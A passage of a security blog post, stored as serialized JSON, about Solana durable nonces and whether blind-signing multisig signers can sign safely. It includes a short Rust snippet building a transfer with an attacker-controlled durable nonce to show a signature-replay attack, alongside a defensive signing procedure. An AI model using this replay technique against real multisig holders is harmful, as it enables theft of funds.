tx",{"type":23,"tag":41,"props":68274,"children":68275},{"style":170},[68276],{"type":28,"value":706},{"type":23,"tag":41,"props":68278,"children":68279},{"style":114},[68280],{"type":28,"value":68032},{"type":23,"tag":41,"props":68282,"children":68283},{"style":70},[68284],{"type":28,"value":3489},{"type":23,"tag":41,"props":68286,"children":68287},{"class":43,"line":922},[68288,68293],{"type":23,"tag":41,"props":68289,"children":68290},{"style":858},[68291],{"type":28,"value":68292},"            next_durable_nonce",{"type":23,"tag":41,"props":68294,"children":68295},{"style":70},[68296],{"type":28,"value":3506},{"type":23,"tag":41,"props":68298,"children":68299},{"class":43,"line":930},[68300,68305],{"type":23,"tag":41,"props":68301,"children":68302},{"style":858},[68303],{"type":28,"value":68304},"            next_lamports_per_signature",{"type":23,"tag":41,"props":68306,"children":68307},{"style":70},[68308],{"type":28,"value":3506},{"type":23,"tag":41,"props":68310,"children":68311},{"class":43,"line":939},[68312],{"type":23,"tag":41,"props":68313,"children":68314},{"style":70},[68315],{"type":28,"value":68316},"        )\n",{"type":23,"tag":41,"props":68318,"children":68319},{"class":43,"line":947},[68320],{"type":23,"tag":41,"props":68321,"children":68322},{"style":70},[68323],{"type":28,"value":1711},{"type":23,"tag":41,"props":68325,"children":68326},{"class":43,"line":985},[68327,68331,68335,68339],{"type":23,"tag":41,"props":68328,"children":68329},{"style":94},[68330],{"type":28,"value":14803},{"type":23,"tag":41,"props":68332,"children":68333},{"style":70},[68334],{"type":28,"value":1737},{"type":23,"tag":41,"props":68336,"children":68337},{"style":94},[68338],{"type":28,"value":68131},{"type":23,"tag":41,"props":68340,"children":68341},{"style":70},[68342],{"type":28,"value":102},{"type":23,"tag":41,"props":68344,"children":68345},{"class":43,"line":1058},[68346,68350,68354,68358,68362,68366],{"type":23,"tag":41,"props":68347,"children":68348},{"style":858},[68349],{"type":28,"value":68143},{"type":23,"tag":41,"props":68351,"children":68352},{"style":170},[68353],{"type":28,"value":1474},{"type":23,"tag":41,"props":68355,"children":68356},{"style":94},[68357],{"type":28,"value":27309},{"type":23,"tag":41,"props":68359,"children":68360},{"style":70},[68361],{"type":28,"value":1737},{"type":23,"tag":41,"props":68363,"children":68364},{"style":858},[68365],{"type":28,"value":68225},{"type":23,"tag":41,"props":68367,"children":68368},{"style":70},[68369],{"type":28,"value":6735},{"type":23,"tag":41,"props":68371,"children":68372},{"class":43,"line":1084},[68373,68377,68381,68386],{"type":23,"tag":41,"props":68374,"children":68375},{"style":858},[68376],{"type":28,"value":68163},{"type":23,"tag":41,"props":68378,"children":68379},{"style":170},[68380],{"type":28,"value":1474},{"type":23,"tag":41,"props":68382,"children":68383},{"style":858},[68384],{"type":28,"value":68385}," previous_lamports_per_signature",{"type":23,"tag":41,"props":68387,"children":68388},{"style":70},[68389],{"type":28,"value":3506},{"type":23,"tag":41,"props":68391,"children":68392},{"class":43,"line":1102},[68393],{"type":23,"tag":41,"props":68394,"children":68395},{"style":70},[68396],{"type":28,"value":68193},{"type":23,"tag":41,"props":68398,"children":68399},{"class":43,"line":1110},[68400,68404,68408],{"type":23,"tag":41,"props":68401,"children":68402},{"style":70},[68403],{"type":28,"value":15768},{"type":23,"tag":41,"props":68405,"children":68406},{"style":58},[68407],{"type":28,"value":3315},{"type":23,"tag":41,"props":68409,"children":68410},{"style":70},[68411],{"type":28,"value":102},{"type":23,"tag":41,"props":68413,"children":68414},{"class":43,"line":1118},[68415,68420,68424,68429,68434,68438],{"type":23,"tag":41,"props":68416,"children":68417},{"style":858},[68418],{"type":28,"value":68419},"        error_counters",{"type":23,"tag":41,"props":68421,"children":68422},{"style":170},[68423],{"type":28,"value":706},{"type":23,"tag":41,"props":68425,"children":68426},{"style":70},[68427],{"type":28,"value":68428},"blockhash_not_found ",{"type":23,"tag":41,"props":68430,"children":68431},{"style":170},[68432],{"type":28,"value":68433},"+=",{"type":23,"tag":41,"props":68435,"children":68436},{"style":164},[68437],{"type":28,"value":167},{"type":23,"tag":41,"props":68439,"children":68440},{"style":70},[68441],{"type":28,"value":183},{"type":23,"tag":41,"props":68443,"children":68444},{"class":43,"line":1137},[68445,68449,68453,68458,68462,68467],{"type":23,"tag":41,"props":68446,"children":68447},{"style":94},[68448],{"type":28,"value":14846},{"type":23,"tag":41,"props":68450,"children":68451},{"style":70},[68452],{"type":28,"value":1737},{"type":23,"tag":41,"props":68454,"children":68455},{"style":94},[68456],{"type":28,"value":68457},"TransactionError",{"type":23,"tag":41,"props":68459,"children":68460},{"style":170},[68461],{"type":28,"value":3479},{"type":23,"tag":41,"props":68463,"children":68464},{"style":94},[68465],{"type":28,"value":68466},"BlockhashNotFound",{"type":23,"tag":41,"props":68468,"children":68469},{"style":70},[68470],{"type":28,"value":1969},{"type":23,"tag":41,"props":68472,"children":68473},{"class":43,"line":1163},[68474],{"type":23,"tag":41,"props":68475,"children":68476},{"style":70},[68477],{"type":28,"value":192},{"type":23,"tag":24,"props":68479,"children":68480},{},[68481],{"type":28,"value":68482},"The documentation does a good job of explaining how they work.",{"type":23,"tag":518,"props":68484,"children":68485},{},[68486],{"type":23,"tag":24,"props":68487,"children":68488},{},[68489],{"type":28,"value":68490},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":23,"tag":24,"props":68492,"children":68493},{},[68494,68496,68503],{"type":28,"value":68495},"Durable nonces are created and managed ",{"type":23,"tag":458,"props":68497,"children":68500},{"href":68498,"rel":68499},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[462],[68501],{"type":28,"value":68502},"by the system program",{"type":28,"value":68504},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":23,"tag":24,"props":68506,"children":68507},{},[68508,68510,68517],{"type":28,"value":68509},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":23,"tag":458,"props":68511,"children":68514},{"href":68512,"rel":68513},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[462],[68515],{"type":28,"value":68516},"based on the current blockhash",{"type":28,"value":68518},", and cannot be predicted in advance.",{"type":23,"tag":31,"props":68520,"children":68522},{"className":2982,"code":68521,"language":2981,"meta":7,"style":7},"    let hash_queue = self.blockhash_queue.read().unwrap();\n    let last_blockhash = hash_queue.last_hash();\n    let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[68523],{"type":23,"tag":37,"props":68524,"children":68525},{"__ignoreMap":7},[68526,68578,68611],{"type":23,"tag":41,"props":68527,"children":68528},{"class":43,"line":44},[68529,68533,68537,68541,68545,68549,68554,68558,68562,68566,68570,68574],{"type":23,"tag":41,"props":68530,"children":68531},{"style":64},[68532],{"type":28,"value":3002},{"type":23,"tag":41,"props":68534,"children":68535},{"style":858},[68536],{"type":28,"value":68086},{"type":23,"tag":41,"props":68538,"children":68539},{"style":170},[68540],{"type":28,"value":3017},{"type":23,"tag":41,"props":68542,"children":68543},{"style":64},[68544],{"type":28,"value":13791},{"type":23,"tag":41,"props":68546,"children":68547},{"style":170},[68548],{"type":28,"value":706},{"type":23,"tag":41,"props":68550,"children":68551},{"style":70},[68552],{"type":28,"value":68553},"blockhash_queue",{"type":23,"tag":41,"props":68555,"children":68556},{"style":170},[68557],{"type":28,"value":706},{"type":23,"tag":41,"props":68559,"children":68560},{"style":114},[68561],{"type":28,"value":60637},{"type":23,"tag":41,"props":68563,"children":68564},{"style":70},[68565],{"type":28,"value":13873},{"type":23,"tag":41,"props":68567,"children":68568},{"style":170},[68569],{"type":28,"value":706},{"type":23,"tag":41,"props":68571,"children":68572},{"style":114},[68573],{"type":28,"value":3664},{"type":23,"tag":41,"props":68575,"children":68576},{"style":70},[68577],{"type":28,"value":3669},{"type":23,"tag":41,"props":68579,"children":68580},{"class":43,"line":54},[68581,68585,68590,68594,68598,68602,68607],{"type":23,"tag":41,"props":68582,"children":68583},{"style":64},[68584],{"type":28,"value":3002},{"type":23,"tag":41,"props":68586,"children":68587},{"style":858},[68588],{"type":28,"value":68589}," last_blockhash",{"type":23,"tag":41,"props":68591,"children":68592},{"style":170},[68593],{"type":28,"value":3017},{"type":23,"tag":41,"props":68595,"children":68596},{"style":858},[68597],{"type":28,"value":68086},{"type":23,"tag":41,"props":68599,"children":68600},{"style":170},[68601],{"type":28,"value":706},{"type":23,"tag":41,"props":68603,"children":68604},{"style":114},[68605],{"type":28,"value":68606},"last_hash",{"type":23,"tag":41,"props":68608,"children":68609},{"style":70},[68610],{"type":28,"value":3669},{"type":23,"tag":41,"props":68612,"children":68613},{"class":43,"line":76},[68614,68618,68623,68627,68632,68636,68641,68645,68649,68654],{"type":23,"tag":41,"props":68615,"children":68616},{"style":64},[68617],{"type":28,"value":3002},{"type":23,"tag":41,"props":68619,"children":68620},{"style":858},[68621],{"type":28,"value":68622}," next_durable_nonce",{"type":23,"tag":41,"props":68624,"children":68625},{"style":170},[68626],{"type":28,"value":3017},{"type":23,"tag":41,"props":68628,"children":68629},{"style":94},[68630],{"type":28,"value":68631}," DurableNonce",{"type":23,"tag":41,"props":68633,"children":68634},{"style":170},[68635],{"type":28,"value":3479},{"type":23,"tag":41,"props":68637,"children":68638},{"style":114},[68639],{"type":28,"value":68640},"from_blockhash",{"type":23,"tag":41,"props":68642,"children":68643},{"style":70},[68644],{"type":28,"value":1737},{"type":23,"tag":41,"props":68646,"children":68647},{"style":170},[68648],{"type":28,"value":855},{"type":23,"tag":41,"props":68650,"children":68651},{"style":858},[68652],{"type":28,"value":68653},"last_blockhash",{"type":23,"tag":41,"props":68655,"children":68656},{"style":70},[68657],{"type":28,"value":3825},{"type":23,"tag":24,"props":68659,"children":68660},{},[68661,68663,68668],{"type":28,"value":68662},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":23,"tag":2913,"props":68664,"children":68665},{},[68666],{"type":28,"value":68667},"can",{"type":28,"value":68669}," be saved and reused.",{"type":23,"tag":446,"props":68671,"children":68673},{"id":68672},"threat-model",[68674],{"type":28,"value":68675},"Threat Model",{"type":23,"tag":24,"props":68677,"children":68678},{},[68679],{"type":28,"value":68680},"Let's consider a simplified form of the original question.",{"type":23,"tag":5436,"props":68682,"children":68683},{},[68684,68689,68694],{"type":23,"tag":421,"props":68685,"children":68686},{},[68687],{"type":28,"value":68688},"We have a N/M multisig",{"type":23,"tag":421,"props":68690,"children":68691},{},[68692],{"type":28,"value":68693},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":23,"tag":421,"props":68695,"children":68696},{},[68697],{"type":28,"value":68698},"We can accurately query chain state.",{"type":23,"tag":24,"props":68700,"children":68701},{},[68702],{"type":28,"value":68703},"Can we safely sign transactions?",{"type":23,"tag":24,"props":68705,"children":68706},{},[68707],{"type":28,"value":68708},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":23,"tag":24,"props":68710,"children":68711},{},[68712,68714,68720,68722,68729],{"type":28,"value":68713},"Durable nonces require an onchain account, and it's possible to use a ",{"type":23,"tag":37,"props":68715,"children":68717},{"className":68716},[],[68718],{"type":28,"value":68719},"getProgramAccounts",{"type":28,"value":68721}," call to validate if your signer ",{"type":23,"tag":458,"props":68723,"children":68726},{"href":68724,"rel":68725},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[462],[68727],{"type":28,"value":68728},"has an associated durable nonce",{"type":28,"value":706},{"type":23,"tag":31,"props":68731,"children":68733},{"className":35925,"code":68732,"language":35927,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n  // The system program owns all nonce accounts.\n  SYSTEM_PROGRAM_ADDRESS,\n  {\n    filters: [\n      {\n        // Nonce accounts are exactly 80 bytes long\n        dataSize: 80,\n      },\n      {\n        // The authority's 32-byte public key is written\n        // into bytes 8-40 of the nonce's account data.\n        memcmp: {\n          bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n          offset: 8,\n        },\n      },\n    ],\n  }\n);\n",[68734],{"type":23,"tag":37,"props":68735,"children":68736},{"__ignoreMap":7},[68737,68784,68820,68828,68840,68848,68860,68868,68876,68893,68900,68907,68915,68923,68935,68961,68978,68985,68992,69000,69007],{"type":23,"tag":41,"props":68738,"children":68739},{"class":43,"line":44},[68740,68744,68749,68753,68757,68762,68766,68771,68775,68780],{"type":23,"tag":41,"props":68741,"children":68742},{"style":64},[68743],{"type":28,"value":846},{"type":23,"tag":41,"props":68745,"children":68746},{"style":858},[68747],{"type":28,"value":68748}," connection",{"type":23,"tag":41,"props":68750,"children":68751},{"style":170},[68752],{"type":28,"value":3017},{"type":23,"tag":41,"props":68754,"children":68755},{"style":64},[68756],{"type":28,"value":31927},{"type":23,"tag":41,"props":68758,"children":68759},{"style":114},[68760],{"type":28,"value":68761}," Connection",{"type":23,"tag":41,"props":68763,"children":68764},{"style":70},[68765],{"type":28,"value":1737},{"type":23,"tag":41,"props":68767,"children":68768},{"style":114},[68769],{"type":28,"value":68770},"clusterApiUrl",{"type":23,"tag":41,"props":68772,"children":68773},{"style":70},[68774],{"type":28,"value":1737},{"type":23,"tag":41,"props":68776,"children":68777},{"style":735},[68778],{"type":28,"value":68779},"'testnet'",{"type":23,"tag":41,"props":68781,"children":68782},{"style":70},[68783],{"type":28,"value":7222},{"type":23,"tag":41,"props":68785,"children":68786},{"class":43,"line":54},[68787,68791,68796,68800,68804,68808,68812,68816],{"type":23,"tag":41,"props":68788,"children":68789},{"style":64},[68790],{"type":28,"value":846},{"type":23,"tag":41,"props":68792,"children":68793},{"style":858},[68794],{"type":28,"value":68795}," nonceAccounts",{"type":23,"tag":41,"props":68797,"children":68798},{"style":170},[68799],{"type":28,"value":3017},{"type":23,"tag":41,"props":68801,"children":68802},{"style":58},[68803],{"type":28,"value":36206},{"type":23,"tag":41,"props":68805,"children":68806},{"style":858},[68807],{"type":28,"value":68748},{"type":23,"tag":41,"props":68809,"children":68810},{"style":70},[68811],{"type":28,"value":706},{"type":23,"tag":41,"props":68813,"children":68814},{"style":114},[68815],{"type":28,"value":68719},{"type":23,"tag":41,"props":68817,"children":68818},{"style":70},[68819],{"type":28,"value":3461},{"type":23,"tag":41,"props":68821,"children":68822},{"class":43,"line":76},[68823],{"type":23,"tag":41,"props":68824,"children":68825},{"style":48},[68826],{"type":28,"value":68827},"  // The system program owns all nonce accounts.\n",{"type":23,"tag":41,"props":68829,"children":68830},{"class":43,"line":85},[68831,68836],{"type":23,"tag":41,"props":68832,"children":68833},{"style":858},[68834],{"type":28,"value":68835},"  SYSTEM_PROGRAM_ADDRESS",{"type":23,"tag":41,"props":68837,"children":68838},{"style":70},[68839],{"type":28,"value":3506},{"type":23,"tag":41,"props":68841,"children":68842},{"class":43,"line":105},[68843],{"type":23,"tag":41,"props":68844,"children":68845},{"style":70},[68846],{"type":28,"value":68847},"  {\n",{"type":23,"tag":41,"props":68849,"children":68850},{"class":43,"line":155},[68851,68856],{"type":23,"tag":41,"props":68852,"children":68853},{"style":858},[68854],{"type":28,"value":68855},"    filters:",{"type":23,"tag":41,"props":68857,"children":68858},{"style":70},[68859],{"type":28,"value":25620},{"type":23,"tag":41,"props":68861,"children":68862},{"class":43,"line":186},[68863],{"type":23,"tag":41,"props":68864,"children":68865},{"style":70},[68866],{"type":28,"value":68867},"      {\n",{"type":23,"tag":41,"props":68869,"children":68870},{"class":43,"line":195},[68871],{"type":23,"tag":41,"props":68872,"children":68873},{"style":48},[68874],{"type":28,"value":68875},"        // Nonce accounts are exactly 80 bytes long\n",{"type":23,"tag":41,"props":68877,"children":68878},{"class":43,"line":905},[68879,68884,68889],{"type":23,"tag":41,"props":68880,"children":68881},{"style":858},[68882],{"type":28,"value":68883},"        dataSize:",{"type":23,"tag":41,"props":68885,"children":68886},{"style":164},[68887],{"type":28,"value":68888}," 80",{"type":23,"tag":41,"props":68890,"children":68891},{"style":70},[68892],{"type":28,"value":3506},{"type":23,"tag":41,"props":68894,"children":68895},{"class":43,"line":922},[68896],{"type":23,"tag":41,"props":68897,"children":68898},{"style":70},[68899],{"type":28,"value":37194},{"type":23,"tag":41,"props":68901,"children":68902},{"class":43,"line":930},[68903],{"type":23,"tag":41,"props":68904,"children":68905},{"style":70},[68906],{"type":28,"value":68867},{"type":23,"tag":41,"props":68908,"children":68909},{"class":43,"line":939},[68910],{"type":23,"tag":41,"props":68911,"children":68912},{"style":48},[68913],{"type":28,"value":68914},"        // The authority's 32-byte public key is written\n",{"type":23,"tag":41,"props":68916,"children":68917},{"class":43,"line":947},[68918],{"type":23,"tag":41,"props":68919,"children":68920},{"style":48},[68921],{"type":28,"value":68922},"        // into bytes 8-40 of the nonce's account data.\n",{"type":23,"tag":41,"props":68924,"children":68925},{"class":43,"line":985},[68926,68931],{"type":23,"tag":41,"props":68927,"children":68928},{"style":858},[68929],{"type":28,"value":68930},"        memcmp:",{"type":23,"tag":41,"props":68932,"children":68933},{"style":70},[68934],{"type":28,"value":102},{"type":23,"tag":41,"props":68936,"children":68937},{"class":43,"line":1058},[68938,68943,68948,68952,68957],{"type":23,"tag":41,"props":68939,"children":68940},{"style":858},[68941],{"type":28,"value":68942},"          bytes:",{"type":23,"tag":41,"props":68944,"children":68945},{"style":858},[68946],{"type":28,"value":68947}," AUTHORITY_PUBLIC_KEY",{"type":23,"tag":41,"props":68949,"children":68950},{"style":70},[68951],{"type":28,"value":706},{"type":23,"tag":41,"props":68953,"children":68954},{"style":114},[68955],{"type":28,"value":68956},"toBase58",{"type":23,"tag":41,"props":68958,"children":68959},{"style":70},[68960],{"type":28,"value":3489},{"type":23,"tag":41,"props":68962,"children":68963},{"class":43,"line":1084},[68964,68969,68974],{"type":23,"tag":41,"props":68965,"children":68966},{"style":858},[68967],{"type":28,"value":68968},"          offset:",{"type":23,"tag":41,"props":68970,"children":68971},{"style":164},[68972],{"type":28,"value":68973}," 8",{"type":23,"tag":41,"props":68975,"children":68976},{"style":70},[68977],{"type":28,"value":3506},{"type":23,"tag":41,"props":68979,"children":68980},{"class":43,"line":1102},[68981],{"type":23,"tag":41,"props":68982,"children":68983},{"style":70},[68984],{"type":28,"value":25372},{"type":23,"tag":41,"props":68986,"children":68987},{"class":43,"line":1110},[68988],{"type":23,"tag":41,"props":68989,"children":68990},{"style":70},[68991],{"type":28,"value":37194},{"type":23,"tag":41,"props":68993,"children":68994},{"class":43,"line":1118},[68995],{"type":23,"tag":41,"props":68996,"children":68997},{"style":70},[68998],{"type":28,"value":68999},"    ],\n",{"type":23,"tag":41,"props":69001,"children":69002},{"class":43,"line":1137},[69003],{"type":23,"tag":41,"props":69004,"children":69005},{"style":70},[69006],{"type":28,"value":5872},{"type":23,"tag":41,"props":69008,"children":69009},{"class":43,"line":1163},[69010],{"type":23,"tag":41,"props":69011,"children":69012},{"style":70},[69013],{"type":28,"value":3825},{"type":23,"tag":24,"props":69015,"children":69016},{},[69017,69019,69027],{"type":28,"value":69018},"Unfortunately this is not sufficient",{"type":23,"tag":15465,"props":69020,"children":69021},{},[69022],{"type":23,"tag":458,"props":69023,"children":69025},{"href":29620,"ariaDescribedBy":69024,"dataFootnoteRef":7,"id":29622},[15472],[69026],{"type":28,"value":317},{"type":28,"value":69028},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":23,"tag":31,"props":69030,"children":69032},{"className":2982,"code":69031,"language":2981,"meta":7,"style":7},"    let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n    let message =\n        Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n            .serialize();\n",[69033],{"type":23,"tag":37,"props":69034,"children":69035},{"__ignoreMap":7},[69036,69102,69118,69201],{"type":23,"tag":41,"props":69037,"children":69038},{"class":43,"line":44},[69039,69043,69047,69051,69056,69060,69064,69068,69072,69076,69080,69084,69089,69093,69098],{"type":23,"tag":41,"props":69040,"children":69041},{"style":64},[69042],{"type":28,"value":3002},{"type":23,"tag":41,"props":69044,"children":69045},{"style":858},[69046],{"type":28,"value":43362},{"type":23,"tag":41,"props":69048,"children":69049},{"style":170},[69050],{"type":28,"value":3017},{"type":23,"tag":41,"props":69052,"children":69053},{"style":70},[69054],{"type":28,"value":69055}," system_instruction",{"type":23,"tag":41,"props":69057,"children":69058},{"style":170},[69059],{"type":28,"value":3479},{"type":23,"tag":41,"props":69061,"children":69062},{"style":114},[69063],{"type":28,"value":32117},{"type":23,"tag":41,"props":69065,"children":69066},{"style":70},[69067],{"type":28,"value":1737},{"type":23,"tag":41,"props":69069,"children":69070},{"style":170},[69071],{"type":28,"value":855},{"type":23,"tag":41,"props":69073,"children":69074},{"style":858},[69075],{"type":28,"value":19461},{"type":23,"tag":41,"props":69077,"children":69078},{"style":70},[69079],{"type":28,"value":970},{"type":23,"tag":41,"props":69081,"children":69082},{"style":170},[69083],{"type":28,"value":855},{"type":23,"tag":41,"props":69085,"children":69086},{"style":858},[69087],{"type":28,"value":69088},"ledger_base_pubkey",{"type":23,"tag":41,"props":69090,"children":69091},{"style":70},[69092],{"type":28,"value":970},{"type":23,"tag":41,"props":69094,"children":69095},{"style":164},[69096],{"type":28,"value":69097},"42",{"type":23,"tag":41,"props":69099,"children":69100},{"style":70},[69101],{"type":28,"value":3825},{"type":23,"tag":41,"props":69103,"children":69104},{"class":43,"line":54},[69105,69109,69114],{"type":23,"tag":41,"props":69106,"children":69107},{"style":64},[69108],{"type":28,"value":3002},{"type":23,"tag":41,"props":69110,"children":69111},{"style":858},[69112],{"type":28,"value":69113}," message",{"type":23,"tag":41,"props":69115,"children":69116},{"style":170},[69117],{"type":28,"value":35850},{"type":23,"tag":41,"props":69119,"children":69120},{"class":43,"line":76},[69121,69126,69130,69135,69139,69143,69147,69151,69155,69159,69163,69167,69172,69176,69180,69185,69189,69193,69197],{"type":23,"tag":41,"props":69122,"children":69123},{"style":94},[69124],{"type":28,"value":69125},"        Message",{"type":23,"tag":41,"props":69127,"children":69128},{"style":170},[69129],{"type":28,"value":3479},{"type":23,"tag":41,"props":69131,"children":69132},{"style":114},[69133],{"type":28,"value":69134},"new_with_nonce",{"type":23,"tag":41,"props":69136,"children":69137},{"style":70},[69138],{"type":28,"value":1737},{"type":23,"tag":41,"props":69140,"children":69141},{"style":114},[69142],{"type":28,"value":3876},{"type":23,"tag":41,"props":69144,"children":69145},{"style":70},[69146],{"type":28,"value":312},{"type":23,"tag":41,"props":69148,"children":69149},{"style":858},[69150],{"type":28,"value":43672},{"type":23,"tag":41,"props":69152,"children":69153},{"style":70},[69154],{"type":28,"value":23047},{"type":23,"tag":41,"props":69156,"children":69157},{"style":94},[69158],{"type":28,"value":42011},{"type":23,"tag":41,"props":69160,"children":69161},{"style":70},[69162],{"type":28,"value":1737},{"type":23,"tag":41,"props":69164,"children":69165},{"style":170},[69166],{"type":28,"value":855},{"type":23,"tag":41,"props":69168,"children":69169},{"style":858},[69170],{"type":28,"value":69171},"evil_nonce_authority",{"type":23,"tag":41,"props":69173,"children":69174},{"style":70},[69175],{"type":28,"value":15169},{"type":23,"tag":41,"props":69177,"children":69178},{"style":170},[69179],{"type":28,"value":855},{"type":23,"tag":41,"props":69181,"children":69182},{"style":858},[69183],{"type":28,"value":69184},"nonce_account",{"type":23,"tag":41,"props":69186,"children":69187},{"style":70},[69188],{"type":28,"value":970},{"type":23,"tag":41,"props":69190,"children":69191},{"style":170},[69192],{"type":28,"value":855},{"type":23,"tag":41,"props":69194,"children":69195},{"style":858},[69196],{"type":28,"value":69171},{"type":23,"tag":41,"props":69198,"children":69199},{"style":70},[69200],{"type":28,"value":1969},{"type":23,"tag":41,"props":69202,"children":69203},{"class":43,"line":85},[69204,69208,69213],{"type":23,"tag":41,"props":69205,"children":69206},{"style":170},[69207],{"type":28,"value":3167},{"type":23,"tag":41,"props":69209,"children":69210},{"style":114},[69211],{"type":28,"value":69212},"serialize",{"type":23,"tag":41,"props":69214,"children":69215},{"style":70},[69216],{"type":28,"value":3669},{"type":23,"tag":24,"props":69218,"children":69219},{},[69220,69222,69229],{"type":28,"value":69221},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":23,"tag":458,"props":69223,"children":69226},{"href":69224,"rel":69225},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[462],[69227],{"type":28,"value":69228},"logs the fee-payer here",{"type":28,"value":706},{"type":23,"tag":31,"props":69231,"children":69233},{"className":16503,"code":69232,"language":3146,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n    return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[69234],{"type":23,"tag":37,"props":69235,"children":69236},{"__ignoreMap":7},[69237,69296,69352],{"type":23,"tag":41,"props":69238,"children":69239},{"class":43,"line":44},[69240,69244,69249,69253,69257,69262,69266,69271,69275,69279,69283,69287,69292],{"type":23,"tag":41,"props":69241,"children":69242},{"style":64},[69243],{"type":28,"value":991},{"type":23,"tag":41,"props":69245,"children":69246},{"style":114},[69247],{"type":28,"value":69248}," print_config_show_authority",{"type":23,"tag":41,"props":69250,"children":69251},{"style":70},[69252],{"type":28,"value":1737},{"type":23,"tag":41,"props":69254,"children":69255},{"style":64},[69256],{"type":28,"value":846},{"type":23,"tag":41,"props":69258,"children":69259},{"style":70},[69260],{"type":28,"value":69261}," PrintConfig",{"type":23,"tag":41,"props":69263,"children":69264},{"style":170},[69265],{"type":28,"value":377},{"type":23,"tag":41,"props":69267,"children":69268},{"style":858},[69269],{"type":28,"value":69270}," print_config",{"type":23,"tag":41,"props":69272,"children":69273},{"style":70},[69274],{"type":28,"value":970},{"type":23,"tag":41,"props":69276,"children":69277},{"style":64},[69278],{"type":28,"value":846},{"type":23,"tag":41,"props":69280,"children":69281},{"style":70},[69282],{"type":28,"value":20844},{"type":23,"tag":41,"props":69284,"children":69285},{"style":170},[69286],{"type":28,"value":377},{"type":23,"tag":41,"props":69288,"children":69289},{"style":858},[69290],{"type":28,"value":69291}," authority",{"type":23,"tag":41,"props":69293,"children":69294},{"style":70},[69295],{"type":28,"value":152},{"type":23,"tag":41,"props":69297,"children":69298},{"class":43,"line":54},[69299,69303,69307,69311,69316,69320,69324,69329,69333,69338,69342,69347],{"type":23,"tag":41,"props":69300,"children":69301},{"style":58},[69302],{"type":28,"value":1090},{"type":23,"tag":41,"props":69304,"children":69305},{"style":858},[69306],{"type":28,"value":69270},{"type":23,"tag":41,"props":69308,"children":69309},{"style":70},[69310],{"type":28,"value":2453},{"type":23,"tag":41,"props":69312,"children":69313},{"style":858},[69314],{"type":28,"value":69315},"expert_mode",{"type":23,"tag":41,"props":69317,"children":69318},{"style":170},[69319],{"type":28,"value":23695},{"type":23,"tag":41,"props":69321,"children":69322},{"style":170},[69323],{"type":28,"value":12859},{"type":23,"tag":41,"props":69325,"children":69326},{"style":114},[69327],{"type":28,"value":69328},"pubkeys_equal",{"type":23,"tag":41,"props":69330,"children":69331},{"style":70},[69332],{"type":28,"value":1737},{"type":23,"tag":41,"props":69334,"children":69335},{"style":858},[69336],{"type":28,"value":69337},"print_config",{"type":23,"tag":41,"props":69339,"children":69340},{"style":70},[69341],{"type":28,"value":2453},{"type":23,"tag":41,"props":69343,"children":69344},{"style":858},[69345],{"type":28,"value":69346},"signer_pubkey",{"type":23,"tag":41,"props":69348,"children":69349},{"style":70},[69350],{"type":28,"value":69351},", authority);\n",{"type":23,"tag":41,"props":69353,"children":69354},{"class":43,"line":76},[69355],{"type":23,"tag":41,"props":69356,"children":69357},{"style":70},[69358],{"type":28,"value":201},{"type":23,"tag":24,"props":69360,"children":69361},{},[69362],{"type":28,"value":69363},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":23,"tag":24,"props":69365,"children":69366},{},[69367],{"type":28,"value":69368},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":23,"tag":24,"props":69370,"children":69371},{},[69372],{"type":28,"value":69373},"We can then use the following procedure.",{"type":23,"tag":5436,"props":69375,"children":69376},{},[69377,69382,69387,69392,69397],{"type":23,"tag":421,"props":69378,"children":69379},{},[69380],{"type":28,"value":69381},"Ensure all signers have no durable nonce accounts.",{"type":23,"tag":421,"props":69383,"children":69384},{},[69385],{"type":28,"value":69386},"The first signer signs and submits the transaction.",{"type":23,"tag":421,"props":69388,"children":69389},{},[69390],{"type":28,"value":69391},"Wait two minutes for all recent blockhashes to expire.",{"type":23,"tag":421,"props":69393,"children":69394},{},[69395],{"type":28,"value":69396},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":23,"tag":421,"props":69398,"children":69399},{},[69400],{"type":28,"value":69401},"Repeat steps 2 to 4 for each signer",{"type":23,"tag":446,"props":69403,"children":69405},{"id":69404},"beyond",[69406],{"type":28,"value":69407},"Beyond",{"type":23,"tag":24,"props":69409,"children":69410},{},[69411],{"type":28,"value":69412},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":23,"tag":24,"props":69414,"children":69415},{},[69416,69418,69425],{"type":28,"value":69417},"For example, pcaversaccio wrote a tool to 